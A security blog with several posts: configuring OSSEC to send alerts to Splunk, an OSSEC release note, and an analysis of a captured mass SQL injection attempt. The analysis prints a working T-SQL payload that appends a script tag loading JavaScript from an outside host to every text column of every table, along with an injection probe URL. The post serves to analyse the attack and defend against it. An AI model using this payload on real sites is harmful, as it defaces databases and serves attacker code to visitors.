OSSEC and Splunk

Here's how I configured OSSEC to send alerts to Splunk:

In ossec.conf add a syslog_output block specifying your Splunk system IP address and the port your network input is listening on:

<syslog_output>
<server>172.10.2.3</server>
<port>10002</port>
</syslog_output>


Now you need to enable the syslog_output module and restart OSSEC:

#/var/ossec/bin/ossec-control enable client-syslog
#/var/ossec/bin/ossec-control restart

On restart you'll see ossec-csyslogd starting up. Now for the Splunk side.


You have a few options on how to receive OSSEC alerts. The two options I've looked at are a standard Splunk network input or syslog-ng. I would suggest using syslog-ng and either the FIFO or file destination method. This way when you need to restart Splunk, which can be rather frequent, you won't lose events like you would with the Splunk network input. Here, for simplicity I'll just walk through the Splunk network input method.

The easiest method is by adding this stanza to inputs.conf:

$SPLUNK_HOME/etc/system/local/inputs.conf

[udp://172.10.2.4:10002] #IP address of OSSEC server
disabled = false
sourcetype = ossec

By setting the sourcetype as OSSEC you're ready to take advantage of the Splunk for OSSEC app which will be available at Splunkbase shortly (http://www.splunkbase.com/).

Make sure you update any local or network firewalls that this communication is traversing and then restart Splunk.

#$SPLUNK_HOME/bin/splunk restart

You can accomplish this using Splunk Web or Splunk CLI as documented here: http://www.splunk.com/base/Documentation/3.4.5/admin/NetworkPorts

If you have any tweaks or improvements to configuration or the Splunk for OSSEC app please let me know!

OSSEC v1.5 Released

Yeah I know this is old news by now but I just wanted to congratulate dcid on the latest OSSEC release!

http://www.ossec.net/main/ossec-v15-released

I'm really excited about the new centralized agent control functionality. With this feature centralized configuration management shouldn't be far off.

If you aren't running OSSEC yet you should definitely check it out!

It's about time . . . mass sql injection variant

It's been around 2 months since the ISC and the Microsoft CSS security team posted articles about a pretty major mass sql injection that affected over 10,000 websites. I was wondering when they'd finally hit some of the domains I monitor. Well today was my lucky day. The attempted injection I captured was almost identical to the ones described in the links above except for a couple small details.

1. First of all there was never an initial attempt to determine if the ASP page was vulnerable. The documented attack contained a simple injection check like this:

www.domain.com/index.asp?var=foo'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''='

So why no injection check? My guess is that someone ripped off the rather slick payload delivery but didn't feel like building in the logic required to perform the initial injection checks. Why do you need to perform any checking? Why not just attempt payload delivery and move on.

2. The only difference in the payload attempt was a new script tag:

Decoded payload delivery:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.ririwow.cn/jp.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

I tried wgetting the j*p.js to dig a little further but it had already been removed from the site.

Protection and Detection:

With the widespread success these attacks are seeing I'm sure they'll continue for the forseeable future. I highly suggest performing a code review on your web applications to ensure proper data input validation. SQL injection attacks are rather trivial to defend against and yet this attack vector is number 2 on the OWASP top 10.

Since these attacks keep showing up I would highly suggest implementing some form of detection. OSSEC HIDS does a great job alerting on common web application attacks. Some other protection and detection options include web application firewalls, reverse proxies, or NIDS.

Hello World

Welcome to the NSM Junkie blog, network security monitoring and other security topics as seen by cnk.